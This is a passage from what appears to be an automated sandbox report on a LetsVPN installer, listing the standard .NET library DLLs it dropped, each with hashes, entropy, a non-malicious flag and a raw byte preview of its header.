Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............I... ...`....... ....................................@.................................gI..O....`...............8...+...........H............................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............6..............@..B.................I......H.......H(... ..................HH.......................................0..J.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%......o.......0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..K.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%.......o...+..0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..L.......(....~....%-.&~..........s....%.....~....%-.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9085869648323355
Encrypted:	false
SSDEEP:	384:fHPAW1bWb8pwKANynsAw/98E9VF3AM+oGkieQz:3rsAw/KENAMxO
MD5:	4312C57BD61256F8DABF2AC39260AB34
SHA1:	1589002195830CBE78406D54AA503EDFC92FE9FD
SHA-256:	AC7EE6034CCF97619980E10803994E516D4E0D53FDE0D7B7EFEECAFA31DC710D
SHA-512:	8C8038FD388D48732495DB7E68C499E9A9D2E1E58D6857CA988FB03356CDA6605A2C927C5FA28AA2783AD210063C8093D94AFBC288F62D69C8B5530007AB9C0A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................;'....@..................................(..O....@..P................+...`......P'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3......................................z...............\.....0.....3.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.911347469160971
Encrypted:	false
SSDEEP:	384:SNoqWD7WAQpwKANynsAw/98E9VF3AM+ocgxsqZDU1A:SNofTAw/KENAMx+qNX
MD5:	7A46A23B5974EBB3990F0F758A392CB3
SHA1:	099F457DF709F64D43EEF0BD68A3CD30298C8DCB
SHA-256:	21A7B85A723E424E79986B3C14441F734F0BBA2F15B9D3CABCE4B7BB1E20F75D
SHA-512:	D65D7604D56175C4E90913BFDA5292C5CE363C8D27EC539B0C390875F1E0640AA1CDCE10C530AAB0AD33F6017D60E6D2BEF07B1F6E1269D4411E83E14B7543C7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................\|(..O....@..@................+...`......D'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ..t....................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.913861277769009
Encrypted:	false
SSDEEP:	384:iGETSAWUEWrvpwKANynsAw/98E9VF3AM+o9JmEOJu:4T1UAw/KENAMxn6Ju
MD5:	FF7E10745B69A6514A4CE4F80DE711A2
SHA1:	FCD110A536F4D19A0533C2A4E53974ED551EB3B4
SHA-256:	CEDC329480C9FFD5F5533846CA820C00F25C5960B4C2E4CCD527DBB411487D69
SHA-512:	FB16AB33FF0DBD016AB3811B4EAB8A70AB61D3BB4361687C072A1D5EB8A301817A69F94D16F75BC1BA49DF33DE382407A57472A69A3F72D815724C0F08C5EB97
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3............................................................T.....,.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	111080
Entropy (8bit):	5.540754648195177
Encrypted:	false
SSDEEP:	1536:6POw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/EAwrxq:6Ww0SUUKBM8aOUiiGw7qa9tK/EhA
MD5:	E7CEED3878E0F46D73C02C52AB2F49B0
SHA1:	0FAFEBD57C72B065DE4515A5952930B2350F4E41
SHA-256:	9820B2D19A07C540B80F6D0DCA1541083FFE8C6E8AC6B9897A61A6C88F2CCA7A
SHA-512:	E7D01A36EE054557A5602C2F5C80232D00A163B1AC7A93FFC30FD3A7070B79724DE35782BB8BFDB46AE0E55911FCC77CD962153834B71768B3F99BA74BEFC312
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................M.....@.................................f...O........................+.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..\|?..........$... ...D.........................................(....&.l(....k&.l(....k..l.l(....k..l.l(....k&.l(....k&.l(....k&.l(....kj~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2rG..p.(....2r...p.(....*2r...p.(.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.902797795907002
Encrypted:	false
SSDEEP:	384:pcDagtDApWSKJWEwpwKANynsAw/98E9VF3AM+ozZWgE:pPKBBAw/KENAMx6
MD5:	2A0AE804890D979430A5C1AFC09232F9
SHA1:	0B6D9098D7772076E9D2424BE747EABE65654B50
SHA-256:	2E05A2BA67A620217727ED913156B6AB4E4CAF1D0FFC3D1075C45B103055C167
SHA-512:	060595F906C4DC9DF598DAFF8059134ACF7B24F7FC8F0D3268101B2F8F59CE4CDB0242AAA827CD6EB18C99F31C5A8C2C25647D00A2BC45B8647EEE919B004DF3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............+... ...@....... ...............................G....@.................................0+..O....@...................+...`.......)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d+......H.......P ..(...................x)......................................BSJB............v4.0.30319......l...x...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................x.........w.o.....o.....\...............<.....Y.................................................G...........V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C./...K.O...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916428540480234
Encrypted:	false
SSDEEP:	384:dIWD4WXRpwKANynsAw/98E9VF3AM+ocg66:d1GAw/KENAMxT
MD5:	568128E2CB86C76BBCE49ED34A852BBA
SHA1:	CB5DDD10884E5E35F7EA2CD23E8D65014439F862
SHA-256:	A8A1E81410EF695FF2C19E0B50351194BEF701D4D58925FE385D93B574D71D61
SHA-512:	6CF324E6CE9E7F4FACBCD9D6E7F1DC6420729A93066717AC74B89658FF5AB776DB8F3EC0F9BCE19B5704B97A9804FCADC3F5207F998C7EE625ABFA5CDE0DAF23
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@..@................+...`......\'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....d.......#US.h.......#GUID...x.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.844890578241113
Encrypted:	false
SSDEEP:	384:hMWzQWpKpwKANynsAw/98E9VF3AM+o6xaBD0pK:h5bAw/KENAMxZBp
MD5:	0433784AED4480A669D77359CCC95264
SHA1:	9D2D1D8D46D91F50943425EF63C5ABF3B5E58114
SHA-256:	8CDF9310D0123492FB10868E7DFEDEE6A0B06CEBB3422EE37524A8ADE5189584
SHA-512:	1E9E906EDB6C25F6BD2B0A6FA547AAC670E87968A5E9F5CA3EBF3B69EB848A93A179C27236FE00DD273CFA51CCC9EE1FA961451168DD0C6F71797CA2F3D7339E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............N... ...@....... ..............................?.....@..................................)..O....@..@................+...`.......(............................................... ............... ..H............text...T.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B................0......H.......P ......................D(......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................z.....N.....:.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.782256539426495
Encrypted:	false
SSDEEP:	384:4xDHKWAMWpupwKANynsAw/98E9VF3AM+owMbRBI:gD8DAw/KENAMxFs
MD5:	1C210937C40D4634EC7F874BD8EA91C3
SHA1:	1D746471D766B47D705D31B0CCEBE44705290AD1
SHA-256:	D8C641FE5C8AB29C69469D37195089563FC06B4FBC40DA67F339A52A5DAEC20E
SHA-512:	A6523B98FBA30905B3BDED1E3BB587BE4F69DF34DDF5FA0CEF8DCE5A373C7692E3A6DBBE0F2BC6F52AFD5C9A372D4A448A56189ECDED690897A1431E46C3A4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................?....@................................. ,..O....@...................+...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID...........#Blob......................3................................"...............1.............{.................................Q.....j.......................n...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.....K.N...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.886994140718831
Encrypted:	false
SSDEEP:	384:5LNBEW6pWYypwKANynsAw/98E9VF3AM+oNHe:5bMTAw/KENAMxo
MD5:	76E713DE0ED54900C5DD1F375229244A
SHA1:	DF3A9931699EC7E1DE3B97AC1E0354ECF4B77C1F
SHA-256:	7B7C90DB456C001EC50B5468F15E9A894B50EED93030017E637018A703893976
SHA-512:	99EA7F703E8CFA879C34E0FD18537E9A65EF15341BE9D991E3C74A81344A5D7BC339745D8316D1990D8089ABBF3793B0D850331F45E37530DEA3164D2B60F7FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.935931811005859
Encrypted:	false
SSDEEP:	384:KKkHKW/tWIRpwKANynsAw/98E9VF3AM+otfxZT:fuAAw/KENAMxDZT
MD5:	C05DE26D79E40BF7C232044B0326F2E0
SHA1:	5B6354A529526221A76A4E6254CE0AAABA765FCB
SHA-256:	71DD37692CB13777254FC205896176B2429224A3C6BC6527F276FC99EE4D45B5
SHA-512:	DAE672387B6BF6CDA6557A5592B17931053BF0EE2C8273FFEED92175C91D40EF00DE5137EB91D6B78A850C1D7D58D564F065FFBDDADBF2F1BD925FC47184C07C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................`2....@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...4.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................$'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................W.....W...R.D.........f.......................=.....V.....}...........q.........................>.....>.....>...).>...1.>...9.>...A.>...I.>...Q.>...Y.>...a.>...i.>...q.>.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.88642223241843
Encrypted:	false
SSDEEP:	384:OLnfIWqrWYQpwKANynsAw/98E9VF3AM+olAcvSo6:ODf4HAw/KENAMxacT6
MD5:	D74E5DA185EA81BAE3B3177E623DA777
SHA1:	8E845113C508CF00068FCA01EAB29D8662839D38
SHA-256:	BC6BE669D9A0720C084B9B1F2853D9A811BD44805ED13CB452461B5A1EFD9232
SHA-512:	33FC1A6476C263F232CF1EE48142E2632E6ECCD90967D48901AA2971072839688DAABA34017B1EEA38968BB18E099AA927E9B9FF4636A353514EEBC83BAC37D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................M-....@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.654786792740954
Encrypted:	false
SSDEEP:	384:dybU8ndrbbT9NWB2WaxpwKANynsAw/98E9VF3AM+oOvBYuJ:dy5ndvWRAw/KENAMxLuJ
MD5:	06E9C4E6C56DDE71D95ABC8389240876
SHA1:	565322AD5DD23CB4A9D0A3C8731CC56B211576C4
SHA-256:	8566100401AF8CDC80A2419478743FB630871120BB384A9BA957FDBF880C37DE
SHA-512:	809EAEA96F4E4B19E4D019FC34893A035EFCA292683BD1D240CB8578482A0B88503D25B89C9038609C24D83BB79D9E2E62B8AA58C8A0372FD793ED9AC5C7F8C8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Ksa...........!.................6... ...@....@.. ....................................@..................................6..K....@..............."...+...`.......$............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................6......H.......D%..<...................P ......................................_...+.'g.......x2..}}...B.O....T...e..?.M..R"M.~pg..c..LD#..y.....y....:u.v...#.;.-.h.......0..#.....a5\|T%W...].!.%'..9.0...........q......0..............q.......0..............q.......0..................0......................0......................0............q.............0............q.............0..............0..............0..................0...............*...0..............

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.868057632335088
Encrypted:	false
SSDEEP:	384:Zna8WK1WG8pwKANynsAw/98E9VF3AM+o1lD2:Zna03Aw/KENAMxu
MD5:	C5B5C96191D977A1506E6EED417B2BA7
SHA1:	B0D2C139B061FE456E3067B9142633F12D1074D1
SHA-256:	AB23FDFF57D74A92B849E9864D2562A22D76B6DD58F080A64D3AE60EA20E83A7
SHA-512:	66B90D7DF871D4D4021E3D98AD63B908F7BA7E832E226BDDDCB651F7DA08DD55F885E23E33B8004F62C54276227F8CB39D9A65071D380A83051037E199B31C31
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............j... ...@....... ..............................M.....@....................................O....@...................+...`.......(............................................... ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................L*......H.......P ......................`(......................................BSJB............v4.0.30319......l...@...#~......0...#Strings............#US.........#GUID....... ...#Blob......................3................................................w.................!...........<.....Y.............................................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.823469381591017
Encrypted:	false
SSDEEP:	384:dBSWITWnhpwKANynsAw/98E9VF3AM+ot9vc0RZTz:d6dAw/KENAMxvvc0f3
MD5:	A284A89FF3110628BA61099B736A4F39
SHA1:	587822D8D69217DF8696A30D9843B088FAEFDCE3
SHA-256:	E07C749A7CD59B4FF24222D398D6665E287D7ADDDF55B014171594447F9702B6
SHA-512:	6DDA50625305FC5CA7652CCE9B8289C6BB70DD247184E9A94BBA75A961974A2D11F2C185205CCB749E2BC0882E519CDAC2DC3F801428C197F0530148AD484501
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0................. ...@....... ...................................@..................................)..O....@.. ................+...`.......(............................................... ............... ..H............text...$.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................\|.....\|...S.i.........g.................f...........5.....~...........P.....9...................c.....c.....c...).c...1.c...9.c...A.c...I.c...Q.c...Y.c...a.c...i.c...q.c.......................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.930234953706258
Encrypted:	false
SSDEEP:	384:088cIIWNoWAspwKANynsAw/98E9VF3AM+oJT3Z75:09cU4Aw/KENAMxF37
MD5:	C7119DFF7591888B03743BFD794229DC
SHA1:	D69160FF471741C137C2063B612516AEDFFCF133
SHA-256:	50AC07AE9F23E50F8227A995C2970C390EA12AAC322D7E664D57FE333663DA09
SHA-512:	C1E030FEED2B333BE712ADAEBF0F0B89C94D86354FD8F860E094EFBA5050FC4CDCA673CB190F0469FC45A65B41895F4EF4BAFD2FFD00A5DFCA7C7F710C69EE1C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............V)... ...@....... ...................................@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8)......H.......P ......................L'......................................BSJB............v4.0.30319......l.......#~.. .......#Strings............#US.........#GUID...........#Blob......................3..........................................................c.....J.....w.................v.....,.....E.................`.....I...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23528
Entropy (8bit):	6.670521169818004
Encrypted:	false
SSDEEP:	384:okUwx9rm5go1fWKmmW6oqN5eWjaW2CpwKANynsAw/98E9VF3AM+ogIUSXp6D6:3rmoFmWdO6Aw/KENAMxRUiM2
MD5:	E1CDBA24AA0C7A72986136F32B7A8D1F
SHA1:	053D2CDD91BE05B179F9EEC927AE0CB91206F5F2
SHA-256:	914F5E3AD9A6CF8D0ECDE9B3BD10D89B302F36DA61E6D10696234EA51CEF34B1
SHA-512:	46DE959261A0F990BF8D4EC5E6F5A7D05BB53CA3C7119C482D837DD46ADAEDF78806CDE4F6EAEED24E91EFD2E77FFEDC2050B85B998C99876CEBDFEFDECEF42C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..&...........E... ...`....... ..............................1o....@.................................PE..O....`..x............0...+...........D............................................... ............... ..H............text....%... ...&.................. ..`.rsrc...x....`.......(..............@..@.reloc..............................@..B.................E......H........$...............A.......C......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r/..p.(..........(....2(.....(....^~....-.(.........~.....0..........~..........(.........(....-Y..(!....{/......5..,

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19432
Entropy (8bit):	6.7377047539245725
Encrypted:	false
SSDEEP:	384:I09bOAghbsDCyVnVc3p/i2fBVlAO/BRU+psbC984vmJHrE1dtx66aI2sU52RWVsU:BOAghbsDCyVnVc3p/i2fBVlAO/BRU+py
MD5:	13D650992AF14213B9565D416057012A
SHA1:	CE3D1DEB715263125749A43E9A347518550297FF
SHA-256:	CBF3D7B658B37C258380A5BEAB2669314B68462B5B2F45F36E9F065BF521A69A
SHA-512:	4673F59C59BBB8B71B3EEAD3CCDE700AC20AAA5B17AB007355A8536CAB000A5555D2E3736CF5CABDDDB2FE34688096DA2F5F7E0A3469E553A79BB95AE85FCC84
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............r5... ...@....... ...............................K....@................................. 5..O....@..P............ ...+...`.......3............................................... ............... ..H............text...x.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B................T5......H.......P ......................h3......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................r.....................e...........4.................3.....L...................................R...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.88873036151209
Encrypted:	false
SSDEEP:	384:o7W6RWXGpwKANynsAw/98E9VF3AM+oLl1J:o5YAw/KENAMxnJ
MD5:	9308174B4258B8ACE653B81D24EA4BF2
SHA1:	21D5227DD3B9AC27C19C46CF2E7EF6039034CDCC
SHA-256:	0BD6B33FA49515EC6B2F416BCAD46DD8C59270EDB587FDD2F4140AB7F4D17D88
SHA-512:	8ED40209B4F45F8B307C13CBFD82786109E8BFF62190CD1C20ACB23B1FA00FC9818F8EDDC906C7D4F218AFBFB29792DBF71179BF878B7F8254B6165CC302817A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......4...#Strings....(.......#US.,.......#GUID...<.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.972036771580835
Encrypted:	false
SSDEEP:	384:yI5HeWFwTBsWnypwKANynsAw/98E9VF3AM+owYqbnV/:yI5HFwTBZAw/KENAMxPqx
MD5:	ED3DBEBBDACB64C5D09444DF8D4A7DF7
SHA1:	B57B7BBF172721EAAB1EF5544E68415B3E0E393E
SHA-256:	BE631EFF0AEE6E39110438EEFEB35F35D4F38032DAA0EC430D106C25566833A7
SHA-512:	AA9D6209B3DAA4C0052ABFDE62B42F7525853F2917287229728F386BA2D69D70D01E794AED82B95E5CD27FD007DA9D74344776403E9C869C4F2B79B323D8EFDA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@.................................\|)..O....@...................+...`......D(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ..t....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....@.......#US.D.......#GUID...T... ...#Blob......................3............................................................U.x...........................~.....4.....M.................h.....$...................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r...a.r...i.r...q.r.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.940117915440905
Encrypted:	false
SSDEEP:	384:fAJpVWbfkBnW4CpwKANynsAw/98E9VF3AM+oyMsBS:fAJpWfkBlAw/KENAMxbd
MD5:	E5D4C28265C4C251175A19ED9813BDF3
SHA1:	209973EC30608A69178C1DF5EB9F99FFBA8F1246
SHA-256:	360C12A381B1E12D4F46E127BE706B6A503233933B1C485B9BFE2684F19678A3
SHA-512:	591FAC416565BC724F7BE43AAD3FBE5B2AA338E7A28AA47675FEFD14267467FA95E0C7B690B2064836DA4CBF32A0A3D1824491BA16110C5091541D8F3BFF1B82
Malicious:	false
